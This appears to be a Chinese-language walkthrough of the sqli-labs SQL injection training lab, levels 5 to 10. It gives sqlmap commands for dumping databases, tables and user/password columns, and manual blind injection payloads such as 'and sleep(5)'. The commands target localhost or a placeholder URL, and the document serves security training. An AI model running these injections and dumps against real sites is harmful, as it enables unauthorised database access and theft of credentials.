sqlmap注入教程:https://www.cnblogs.com/ichunqiu/p/5805108.html
前五關直接可以用默認的sqlmap語法跑:
python sqlmap.py -u "http://xxxxx/x?id=1" --dbs(或者--current-db)
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name --tables
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name --columns
python sqlmap.py -u "http://xxxxx/x?id=1" -D database_name -T table_name -C "id,user,password" --dumps
0x00 主要使用的語句
1:用於驗證時間延遲型的盲注:?id=1’ and sleep(5) --+
2.用於判斷布爾型盲注:?id=1’ and 1=1 --+ , ?id=1‘ and 2=1 --
sqlmap主要使用的語句:
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --technique B --dbms mysql --dbs --batch -v 0 或者 python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --current-db --batch
其中的—technique是為sqlmap中的注入技術,在sqlmap中其支持5中不同模式的注入
B:Boolean-based-blind (布爾型盲注) E:Error-based (報錯型注入) U:Union query-based (聯合注入) S:Starked queries (通過sqlmap讀取文件系統、操作系統、注冊表必須 使用該參數,可多語句查詢注入) T:Time-based blind (基於時間延遲注入)
我們可以根據不同的報錯提示更改—technique后面的字母
—dbms : 不僅可以指定數據庫類型,還可以指定數據庫版本 --batch: 用此參數,不需要用戶輸入,將會使用sqlmap提示的默認值一直運行下去。 -v 0參數只是為了更好的截圖.
0x02 sqli-labs less-5、6
手工發現只能用報錯注入,5關是單引號閉合,6關是雙引號閉合
那么sqlmap語句:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --technique E --dbs --batch
成功爆出數據庫
0x03 sqli-labs less-7
這道題手工的話意思是叫我們用sql的寫入命令:into outfile
正確回顯一串不變的字符串,錯誤不報錯誤信息,因此可以用sqlmap跑盲注
語句:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-7/?id=1" --technique B --current-db --batch
0x04 sqli-labs less-8
錯誤不回顯報錯信息,正確只回顯一個固定的字符串,同樣是一個布爾型盲注
跟第七關的payload一樣:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --current-db --batch
0x05 sqli-labs less-9、10
不管怎么樣都不報錯,也沒有回顯區別,不管對錯一直顯示一個固定的頁面;
那么我們只有試着閉合,然后用測試語句“and sleep(5)”試一下,如果沒猜出來閉合規則,那么我們直接放在sqlmap里面跑時間盲注;
這里用了閉合規則‘--+,里面跟and sleep(5)發現延時5秒,那么確定是時間盲注了。
sqlmap語句:python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-9/?id=1" --technique T --current-db --batch
第十關就是閉合規則是雙引號而已,其他的一樣